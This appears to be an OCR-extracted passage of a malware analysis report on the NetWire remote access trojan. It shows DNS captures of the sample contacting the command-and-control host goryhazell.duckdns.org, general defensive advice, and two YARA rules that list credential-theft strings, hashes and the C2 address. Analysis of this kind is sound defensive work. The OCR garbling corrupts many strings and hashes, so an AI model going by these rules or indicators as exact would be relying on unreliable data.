10.000000
11 3.102199
123.
38 11.195906
45 11.252633
46 11,493731
62 12.207725
73 12.249408

Internet Protocol Version 4, Src
User Datagram Protocol, Src Port
Dosain Name System (query)

00 50 56 e5 cf
00 44 2a 7a 00
a0 02 fd 83 00
00 00 00 00 00
31 07 64 75 63

)
File Edil View Go Capture Analyze Statistics Telephony Wircless Tools Help
QesmFs[jaaar
o Destratr [e———,
192.168.160.129 192.168.160.2 DHS 76 Standard query 8x074c A wpad.localdomain
192.168.160.129 192.168.160.2 DNs 82Standard query 8x1f86 A ‘ul‘yh.‘yllAdulkdn).ul‘g
192.168.160.2 192.168.160.129 DNS 98 Standard query response @x1¥86 A goryhazell.duckdns.org A 31.220.4.216
192.168.160.129 192.168.160.2 DS 76 Standard query @xdeSa A wpad.localdomain
192.168.160.129 192.168.160.2 DNs 77 Standard query @x9fb9 A www.wireshark.org
192,168.160.2 192.168.160.129 DNS 125 Standard query response 0x9fb9 A ww.wireshark.org A 172.67.75.39 A 104,26.11.240 A 104.26.10.240
192.168.160.129 192.168.160.2 DRS 76 Standard query @xdeSa A wpad.localdomain
192.168.160.129 192.168.160.2 DRS 76 Standard query 8x51bb A wpad.localdomain
192.168.160.129 192.168.160.2 DNS 76 Standard query @x51bb A wpad.localdomain
192.1 129 192.168.160.2 DHS 76 Standard query @xdeSa A wpad.localdomain
Frome 11: 82 bytes on wire (656 bits), 82 bytes captured (656 bits) on interface \Device\NPF_(63EDA1FD-A13C-AAGF -BEEA-342841526820), id 0
Ethernet 11, Src: VMdare_c6:eb:d8 (0-0c:29:c5:eb:d8), Dst: VPhiare_eS:cF:45 (80:50:56:e5:cf:45)
192.168.160.129, Dst: 192.168.160.2
64899, Dst Port: 53

4500 6c 20 6 eb d8 08 00 45 00 PV E 3

90 80 11 00 0D cO a8 a0 81 cO a8 D*

3500 30 <2 16 1 86 61 00 00 O1 50

00 0a 67 6f 72 79 68 61 7a 65 6¢ g oryhazel

6b 64 6e 73 03 6f 72 67 99 00 01 1-duckdn s org

ot Packats: 25926 Daploye: 726 (L) e o
[¢]ad ® ~ & aa]ale]x]n]a]

It has been seen that when the malware runs, it tries to connect to the "goryhazell1[.]duckdns[.]Jorg" internet
address. But because the server is not active, it could not establish a connection.

¥ ApateDNS
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m DNS Hex View

Time Domain Requested

21:08:34  teredo.ipvb.microsoftcom
21:08:34  250.255.255.239.in-addr.arpa

azell.duckdns.

21:0844  2218.168.192.in-addr.arpa

DNS Retu.
FOUND
FOUND

FOUND
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SOLUTION PROPOSALS

- Actual and reliable anti-virus software should be used on the systems.

- Incoming e-mails should be read carefully. e-mails and URLSs from unknown sources and files should
not be opened without a full scan of attachments.

- All installed software and operating system should be kept up to date.

- Train users frequently to be aware of potential phishing schemas and how to handle them in the right
way.

- The network movements of the processes running on the system should be examined.

- Use anti-malware software such as antivirus or any endpoint protection software.

https: i /’Al
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import "hash"

rule NetWire: RAT
{

meta:

description ="rZLTY .exe"

strings:

$a = "Control Panel\\Desktop\\ResourceLocale"

$b = "verifying installer: %d%%"

$c = "Software\\Microsoft\\Windows\\CurrentVersion"
$d = "\\Microsoft\\Internet Explorer\\Quick Launch"
$e = ".DEFAULT\\Control Panel\\International

$f = "[Rename]"

$g = "%Uu.%u%s%s"

$h ="_BqwHaF8TKKDMfOzQASx4VuXdZibUleylJWhjOm502ErLt6vGRN9sY 1n3Ppc7g-C%.4d-%.2d-%.2d
%.20d:%.2d:%.2d"

$i = "MdYQONh.Sii"
$j = "MT_qUDrj\\FWk4iiC\\%6\\%6\FC4R"

$k = "%6\FWk4iiC\\_40d8WRA\sOW84id6.4R4"

condition:

hash.md5(0,filesize) == "e2154fb3783200087300667al16a7fe7f" or all of them

¥
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import "hash"
rule NetWire: RAT

{

meta:
description ="rZLTY .exe"

strings:

$a = "hostname"

$b = "filenames.txt"

$c¢ = "encryptedUsername”

$d = "Host.exe"

$e = "%.2d/%.2d/%d %.2d:%.2d:%.2d"

$f="%¢c%.8x%s%s"

$g="Software\\Microsoft\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"

$h = "History"

$i = "Inettle-3.5.1/aes-encrypt.c"

$j = "/nettle-3.5.1/aes-encrypt.c"”

$k = "/nettle-3.5.1/gcm.c"

$l = "/nettle-3.5.1/memxor.c"”

$m = "/nettle-3.5.1/memxor3.c"

$n = "/nettle-3.5.1/aes-set-key-internal.c*

$0 = "/nettle-3.5.1/ctr16.c"

$p = #7@Qhg\\1@NWgyxeH\_bpdgc%.2d/%.2d/%d %.2d:%.2d:%.2d

$r = "goryhazell.duckdns.org:6504;"

$s = "Software\\Microsoft\Windows NT\\CurrentVersion\Windows Messaging
Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
$t="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
$u = "Cs43163g4R3YW0d3s0WYd66dR240WRIAR53iG3G3y.Sii"

condition:
hash.md5(0,filesize) == "98621ccd75026147bc3d207a62b0089¢™ or all of them

}
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